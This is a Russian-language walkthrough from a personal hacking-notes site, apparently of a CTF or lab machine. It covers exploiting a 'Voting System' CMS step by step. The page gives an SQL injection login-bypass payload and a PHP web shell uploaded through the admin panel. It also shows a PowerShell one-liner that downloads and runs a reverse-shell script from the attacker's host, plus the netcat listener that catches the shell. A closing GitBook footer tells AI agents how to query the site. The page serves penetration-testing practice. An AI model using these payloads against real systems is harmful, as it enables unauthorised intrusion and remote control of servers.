> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ru/cms/voting-system-cms-exploitation.md).

# Voting System

## **Уязвимость SQL-инъекции (SQLi)**

Используйте `searchsploit` для поиска уязвимостей системы голосования и определения следующей полезной нагрузки:

<figure><img src="/files/7c94b8442b3c1973a6dd2580d209a9fb6b5ddee9" alt=""><figcaption></figcaption></figure>

<div data-full-width="true"><figure><img src="/files/29a9623c49fe465183ee202c57a903e78be13126" alt=""><figcaption></figcaption></figure></div>

`login=yea&password=admin&username=dsfgdf' UNION SELECT 1,2,"$2y$12$jRwyQyXnktvFrlryHNEhXOeKQYX7/5VK2ZdfB9f/GcJLuPahJWZ9K",4,5,6,7 from INFORMATION_SCHEMA.SCHEMATA;-- -`

Используйте Burp Suite для доступа к панели управления.

<figure><img src="/files/d528f0ceb2790277717d0bc43e6f5ded0b5333fe" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/d9dc99a70749cf45a214ea0a062400bc3ff36fba" alt=""><figcaption></figcaption></figure>

## Уязвимость загрузки файлов:

Оказавшись в панели управления, создайте нового пользователя и загрузите `cmd.php` для выполнения команд на сервере:

<figure><img src="/files/cec0a077ab960797d9fd30d0b5f864dba7227684" alt=""><figcaption></figcaption></figure>

```bash
<?php
echo "<pre>" . shell_exec($_REQUEST['cmd']) . "</pre>";
?>
```

<figure><img src="/files/fc75242e1a7324ff43e14a6e95441a72367ed2e8" alt="" width="482"><figcaption></figcaption></figure>

Панель не выполняет проверку безопасности, что позволяет внедрять команды, например `whoami`. Проверьте подключение с помощью команды ping:

<figure><img src="/files/3eadf56aebb212d56ac43f31be64862865e8720c" alt=""><figcaption></figcaption></figure>

Проверьте, может ли целевая система отправить ping.

<pre class="language-bash"><code class="lang-bash">ping 10.10.14.10
<strong>tcpdump -i tun0 icmp
</strong></code></pre>

Получение ответа подтверждает выполнение команд на целевой системе.

<figure><img src="/files/a84200a63edc559d7854c81f47d033b1428b786c" alt="" width="563"><figcaption></figcaption></figure>

**Выполнение команды PowerShell для обратной оболочки**

После подтверждения выполнения команд разместите `PS.ps1` скрипт на машине атакующего.

{% embed url="<https://raw.githubusercontent.com/samratashok/nishang/refs/heads/master/Shells/Invoke-PowerShellTcp.ps1>" %}

Добавьте следующую строку в конец скрипта:

```bash
Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.10 -Port 4444
```

<figure><img src="/files/d93250885e4ed78baed98d4c8fc0bf255aa87d51" alt=""><figcaption></figcaption></figure>

Host `PS.ps1` с помощью веб-сервера:

```bash
python3 -m http.server 80
```

Затем измените команду, чтобы она указывала на веб-сервер атакующего:

{% code overflow="wrap" %}

```bash
powershell "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.10/PS.ps1')"
```

{% endcode %}

Наконец, запустите прослушиватель на порту 4444:

```bash
rlwrap nc -nlvp 4444
```

<div data-full-width="true"><figure><img src="/files/e6ea2dd19cf189d8d07661dc96157ab418919f09" alt=""><figcaption></figcaption></figure></div>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ru/cms/voting-system-cms-exploitation.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
